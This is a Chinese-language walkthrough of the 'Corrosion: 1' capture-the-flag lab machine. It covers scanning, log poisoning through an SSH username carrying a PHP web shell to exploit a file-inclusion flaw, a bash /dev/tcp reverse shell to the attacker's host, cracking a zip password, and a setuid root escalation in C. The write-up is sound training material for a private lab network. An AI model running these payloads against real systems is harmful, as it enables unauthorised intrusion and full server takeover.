Corrosion: 1
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.152
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.152
4,访问80端口开放的http服务
扫描枚举网站子目录
gobuster dir -u http://192.168.23.152/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip
http://192.168.23.152/tasks/tasks_todo.txt
需要完成的任务
- 修改身份验证日志(auth log)的权限
- 将 22 号端口修改为 7672 号端口
- 搭建 phpMyAdmin(PHP 数据库管理工具)
http://192.168.23.152/blog-post/
5,再扫描其二级目录
gobuster dir -u http://192.168.23.152/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip
http://192.168.23.152/blog-post/archives/
存在一个空白的PHP网页
http://192.168.23.152/blog-post/archives/randylogs.php
6,根据提示推测要去污染ssh日志文件,这个网页应该会存在本地文件包含漏洞,目前不知道网页传递的参数是什么,需要进行模糊测试
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u 'http://192.168.23.152/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0
传递的参数是file,验证一下试试
http://192.168.23.152/blog-post/archives/randylogs.php?file=/etc/passwd
7,测试包含ssh日志文件,这是getshell的关键点
http://192.168.23.152/blog-post/archives/randylogs.php?file=/var/log/auth.log
现在需要使用一句话木马污染这个文件,那么只要登录用户名是一句话木马即可
ssh '<?php system($_REQUEST["cmd"]);?>'@192.168.23.152
使用MobaXterm试试
登录失败就会把木马带入日志当中
成功写入木马,构成命令执行漏洞
http://192.168.23.152/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=id
8,直接通过命令执行反弹shell
反弹 Shell 的核心机制
echo "bash -i >& /dev/tcp/192.168.23.128/4444 0>&1" | bash
- 这里的 cmd= 参数让服务器执行了该命令:
- echo ... 输出一段纯文本:bash -i >& /dev/tcp/192.168.23.128/4444 0>&1
- 管道 | bash 将这段文本交给 bash 去执行。
这条命令会:
- 使用 Bash 打开一个 TCP 客户端连接到目标 IP:192.168.23.128, 端口 4444。
- 启动一个交互式 shell (bash -i)。
- 将标准输入 (0)、标准输出和标准错误都通过 TCP 重定向(0>&1, >&)发送到攻击者主机上。
- 这样攻击者就拿到了一个远程 Shell:一个反向 Shell(Reverse Shell)。
安全含义
这种机制允许远端执行命令并获得交互式 Shell,具备极高风险:
- 若 randylogs.php 存在类似功能(接受 cmd 参数并执行),就可能被利用来远程执行任意命令并获得服务器控制权。
- 特别是在敏感日志(如 /var/log/auth.log)和可执行命令参数中,攻击面非常大。
与此同时kali监听4444端口
成功getshell
9,信息收集一下
查看一下权限提升的可行性
sudo -l
find / -perm -u=s -type f 2>/dev/null
都利用不了,再看那些敏感目录
10,在/var/backups/文件夹下发现一些压缩包,在靶场搭建一个简单的http服务供攻击机下载文件
python3 -m http.server
wget http://192.168.23.152:8000/user_backup.zip
尝试解压,但是需要密码,直接暴力破解
gunzip /usr/share/wordlists/rockyou.txt.gz
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip
使用密码!randybaby成功解压压缩包
11,读取my_password文件,得到密码randylovesgoldfish1998
前面知道存在一个用户randy,推测是这个用户的账户密码,ssh登录
ssh randy@192.168.23.152
登录成功,依旧进行提权的信息收集
能够以root权限执行/home/randy/tools/easysysinfo文件,先看看这个文件是什么
写一个权限提升的c代码去替换easysysinfo文件,然后编译即可
#include <unistd.h> #include <stdlib.h> void main() { setuid(0); setgid(0); system("bash -i"); } |
nano easysysinfo.c
rm -rf easysysinfo
gcc easysysinfo.c -o easysysinfo
sudo ./easysysinfo
成功提权变成root用户,得到flag